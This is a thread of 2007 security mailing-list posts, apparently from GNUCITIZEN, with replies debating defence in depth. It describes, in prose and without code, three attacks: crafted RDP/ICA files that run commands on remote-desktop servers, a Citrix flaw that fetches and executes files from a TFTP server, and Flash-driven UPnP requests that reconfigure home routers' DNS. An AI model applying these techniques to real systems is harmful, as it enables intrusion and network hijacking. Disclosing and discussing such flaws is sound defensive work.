http://www.gnucitizen.org/blog/remote-desktop-command-fixation-attacks Security in depth does not exist! No matter what you do, dedicated attackers will always be able to penetrate your network. Seriously! Information security is mostly about risk assessment and crisis management. When it comes to exploitative penetration testing, I relay on tactics rather then exploits. I've already talked about how insecure Remote Desktop service could be. In this post I will show you how easy it is to compromise a well protected Windows Terminal or CITRIX server with a simple social engineering attack and some knowledge about the platform we are about to exploit. The attack is rather simple. All the bad guys have to do is to compose a malicious RDP (for Windows Terminal Services) or ICA (for CITRIX) file and send it to the victim. The victim is persuaded to open the file by double clicking on it. When the connection is established, the user will enter their credentials to login and as such let the hackers in. Vicious! I have a more detailed explanation about the tactics behind this attack. Because I don't want to spam people with tones of text, I just included a link which you can follow. Hope that this is useful and at the same time eye opening, not that it is something completely amazing. But it does work and it works well. cheers. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
0day: Hacking secured CITRIX from outside
http://www.gnucitizen.org/blog/0day-hacking-secured-citrix-from-outside In the true spirit of GNUCITIZEN half(partial)-disclosure initiative, we announce that it is possible to gain user access level on integrated remote CITRIX servers. The bug/feature does not relay on any client/server vulnerabilities nor client/server misconfiguration issues. All an attacker needs to do to exploit the weakness is to lure a victim, part of an integrated network, to a malicious website or trick them into opening specially crafted ICA files. The attack results into remote command execution with the access level of the current user. The success of the attack relays on the fact that the victim (the proxy) is part of a CITRIX ring to which he/she can perform pass through authentication. Once a connection is instantiated, the victim will unwillingly and transparently login into CITIRIX and perform several commands specified by the attacker. The attacker can simply instruct the remote desktop to download files from a remote TFTP server and execute them locally. Once the attack is performed, the local connection is terminated and the CITRIX session is cleared. No user interaction is required! CAUTION!!! The attack can be used to circumvent/bypass border firewalls and sneak into private networks. This attack is of type CRSF (Cross-site Request forgery), although it does not relay on Web bugs. The attack vector works flawlessly on IE and Firefox (when configured correctly). It also works with any email client or other types of file sharing mechanisms. All versions of CITRIX and CITRIX client are affected. The attack may fail on certain setups. If you manage to re-discover the type of vulnerability outlined in this post, we encourage you to keep it private. Give some time for the folks at CITRIX to react. Currently, I am not aware of any remedy against the attack. Given CITRIX's popularity among corporations and big organizations, it is highly recommended to take this warning with extra caution. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Remote Desktop Command Fixation Attacks
gboyce, cheers... nice example! although I had something else in mind. maybe I shouldn't have used the term "security in depth" since your version differs a bit from mine. I guess different semantics. but yes, i agree that systems, processes, data, etc needs to be separated and blended into a balanced mix which as you said, while under attack, it does not give away the keys to the kingdom. thanks On 10/11/07, gboyce <[EMAIL PROTECTED]> wrote: > On Thu, 11 Oct 2007, pdp (architect) wrote: > > > Thor, with no disrespect but you are wrong. Security in depth does not > > work and I am not planning to support my argument in any way. This is > > just my personal humble opinion. I've seen only failure of the > > principles you mentioned. Security in depth works only in a perfect > > world. The truth is that you cannot implement true security mainly > > because you will hit on the accessibility side. It is all about > > achieving the balance between security and accessibility. Moreover, > > you cannot implement security in depth mainly because you cannot > > predict the future. Therefore, you don't know what kinds of attack > > will surface next. > > > > Security is not a destination, it is a process. Security in depth > > sounds like a destination to me. > > The reason for security in depth is precisely because no security controls > are foolproof. The point isn't to make a system completely unbreakable, > but to raise the bar for what is required in order to extend their access > beyond what they already control. > > Lets take a webserver as an example. > > Your webserver only requires ports 80 and 443 listening to the world, so > you deploy a firewall in front of it restricting access to just those > ports. > > A default install of the OS may enable a few other processes bound to > remote ports like a mail server, portmap, etc. These processes aren't > needed on this particular system. The firewall blocks access to them, but > firewalls aren't perfect. The attacker may have found a way to get behind > it. So you turn off those unneeded services. > > Being a webserver, its running a number of web applications. Since you > don't want to place more trust in those applications than you have to, you > chroot apache and have it run as a non-privledged user. Hopefully this > will contain a successful compromise. > > But still, the attacker may break out of the chroot, so you make sure that > you remove setuid applications or at least keep them up to date with the > latest security updates. You do your best to keep them from becoming > root. But even that may fail. > > Assuming all else has failed, this system is completely owned. But you > have other systems with even more sensitive information. So you architect > your network such that this webserver does not have more network > prilvedges than it needs. You filter outbound network connections to > hopefully block a good portion of botnet command and control functions. > You block access from this webserver to other systems unless they have a > need to talk to them. You implement application level firewalls between > it and services that it does need to talk to. > > THIS is defence is depth. Its not about perfect security. Its about > containing breaches. Its about blocking unnecessary risks. Its about > making sure that a small mistake that you make does not hand over the keys > to the kingdom. > > -- > Greg > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: Remote Desktop Command Fixation Attacks
Steve, try to email someone from your company a batch file. i am sure that that will fail, mainly because you realize that it is a security risk. right? now try to email a .rdp or .ica file. it works 99% of all the time. second, please read the article. :) no offense, but you are completely missing the point here. 3rd, users does not need to have admin rights, these rights can be obtained with privilege escalations exercise. this is not A to Z attack. you are missing all other letters in between. this is just my humble opinion. cheers, pdp On 10/10/07, Steve Shockley <[EMAIL PROTECTED]> wrote: > pdp (architect) wrote: > > The attack is rather simple. All the bad guys have to do is to compose > > a malicious RDP (for Windows Terminal Services) or ICA (for CITRIX) > > file and send it to the victim. The victim is persuaded to open the > > file by double clicking on it. When the connection is established, the > > user will enter their credentials to login and as such let the hackers > > in. Vicious! > > So, "all you have to do" is persuade the user to run an attachment and > type in credentials. Wouldn't it be simpler to just email the user a > batch file and have them run it? Why not just use the same message from > "Tim from Tech Department" and substitute a web page for the RDP file? > > It's not clear from your article, but I assume you're having the user > connect to their normal Citrix or TS farm to run the program. First, > why in the world would you give users administrative rights on your > servers? Secondly, why wouldn't you use software restriction policies > to whitelist only allowed apps on your server? > > > I will show you how easy it is to compromise a well protected Windows > Terminal or CITRIX server > > No, you showed how to compromise a poorly-configured TS or Citrix server. > > > Security in depth does not exist! > > Sounds more like shallow configurations. > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: Remote Desktop Command Fixation Attacks
enough) qualified > this attack as "highly successful" and "vicious" does not, in any way, > degrade the value of security in depth. In fact, it is a perfect > example *for* security in depth in that regard: if this "attack" > succeeds against anyone, it is not because security in depth does not > exist, it is because security in depth was not practiced. > > t > > > > > > -Original Message- > From: pdp (architect) [mailto:[EMAIL PROTECTED] > Sent: Wednesday, October 10, 2007 4:15 AM > To: [EMAIL PROTECTED]; bugtraq@securityfocus.com > Subject: Remote Desktop Command Fixation Attacks > > http://www.gnucitizen.org/blog/remote-desktop-command-fixation-attacks > > Security in depth does not exist! No matter what you do, dedicated > attackers will always be able to penetrate your network. Seriously! > Information security is mostly about risk assessment and crisis > management. > > When it comes to exploitative penetration testing, I relay on tactics > rather then exploits. I've already talked about how insecure Remote > Desktop service could be. In this post I will show you how easy it is > to compromise a well protected Windows Terminal or CITRIX server with > a simple social engineering attack and some knowledge about the > platform we are about to exploit. > > The attack is rather simple. All the bad guys have to do is to compose > a malicious RDP (for Windows Terminal Services) or ICA (for CITRIX) > file and send it to the victim. The victim is persuaded to open the > file by double clicking on it. When the connection is established, the > user will enter their credentials to login and as such let the hackers > in. Vicious! > > I have a more detailed explanation about the tactics behind this > attack. Because I don't want to spam people with tones of text, I just > included a link which you can follow. Hope that this is useful and at > the same time eye opening, not that it is something completely > amazing. But it does work and it works well. > > cheers. > > -- > pdp (architect) | petko d. petkov > http://www.gnucitizen.org > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: Remote Desktop Command Fixation Attacks
;t matter. Besides, I don't think users know anything about .rdp > files -- I can say that I've never, ever, been emailed an rdp file. > > > And how come it is OK for a simple text file be able to ride your > > session and execute commands on behalf of you? I think that this is a > > problem. CSRF is a well known, widely acknowledged problem. The client > > should at least warn you that you are about to start an alternative > > shell. That's not the case though. > > > > BTW, I am not sure if you stumbled across the other post I released on > > FD and BUGTRAQ which is closely related to this one. Well, here is the > > situation: if you visit a remote page that happens to be malicious, > > attackers can inject any commands they wish into your remote desktop > > without any visible notice. No interaction is required. And the attack > > is super generic btw, and probably 100% wormable. > > I looked at what you posted, but there is no info. And you say that you > are "witholding the PoC" so there's no way I can begin to comment on > what you say you can do. If you are saying that if I visit a site, you > can inject whatever commands you want into an RDP session I have open > (in regard to MSFT RDP, not Citrix) then I challenge you to post that > information. > > Regardless, even in the presence of that type of attack, it still does > nothing to degrade the value of security in depth; it only further > illustrates the need. > > t > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Remote Desktop Command Fixation Attacks
ity in depth is and what's mean to do). > The chances are that they'll simply choose to work > with someone else... who betters understands the big > picture in security :-) > > CQ > > _______ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Hacking The Interwebs
http://www.gnucitizen.org/blog/hacking-the-interwebs When the victim visits a malicious SWF file, a 4 step ATTACK will silently execute in the background. At that moment the attacker will have control over their router, pretty much regardless of its model. Many of the home routers are vulnerable to this attack as many of them support UPnP to one degree or another. The attack does not rely on any bugs. Simply put, when two completely legitimate technologies, Flash and UPnP, are combined together, they compose a vulnerability, which exposes many home networks to a great risk. The attack depends on the fact that most, if not all, routers are UPnP enabled. The UPnP SOAP service can be accessed without authorization over the default Web Admin Interface. With the help of Flash, the attacker can send arbitrary SOAP messages to the router's UPnP control point and as such reconfigure the device in order to enable further attacks.. The most malicious of all malicious things to do when a device is compromised via the attack described in the link pointed at the top of this email, is to change the primary DNS server. That will effectively turn the router and the network it controls into a zombie which the attacker can take advantage of whenever they feel like it. It is also possible to reset the admin credentials and create the sort of onion routing network all bad guys want. Many routers come with Layer3 portforwarding UPnP service. This is also a potential vector that attackers can use. In cases like this, they will simply expose ports behind the router on the Internet facing side. We hope that by exposing this information, we will drastically improve the situation for the future. I think that this is a lot better than keeping it for ourselves or risking it all by given the criminals the opportunity to have in possession a secret which no one else is aware of. The best way to protect against this attack is turn off UPnP if your router's Admin Interface allows it. It seams that many routers simply does not have this feature. More information on related UPnP research can be found here: http://www.gnucitizen.org/ http://www.gnucitizen.org/blog/steal-his-wi-fi http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5 http://www.gnucitizen.org/blog/hacking-with-upnp-universal-plug-and-play GNUCITIZEN is a Cutting Edge, Ethical Hacker Outfit, Information Think Tank, which primarily deals with all aspects of the art of hacking. Our work has been featured in established magazines and information portals, such as Wired, Eweek, The Register, PC Week, IDG, BBC and many others. The members of the GNUCITIZEN group are well known and well established experts in the Information Security, Black Public Relations (PR) Industries and Hacker Circles with widely recognized experience in the government and corporate sectors and the open source community. GNUCITIZEN is an ethical, white-hat organization that doesn't hide anything. We strongly believe that knowledge belongs to everyone and we make everything to ensure that our readers have access to the latest cutting-edge research and get alerted of the newest security threats when they come. Our experience shows that the best way of protection is mass information. And we mean that literally!!! It is in the public's best interest to make our findings accessible to vast majority of people, simply because it is proven that the more people know about a certain problem, the better.-- pdp (architect) | petko d. petkov http://www.gnucitizen.org http://www.hakiri.com -- pdp (architect) | petko d. petkov http://www.gnucitizen.org http://www.hakiri.com
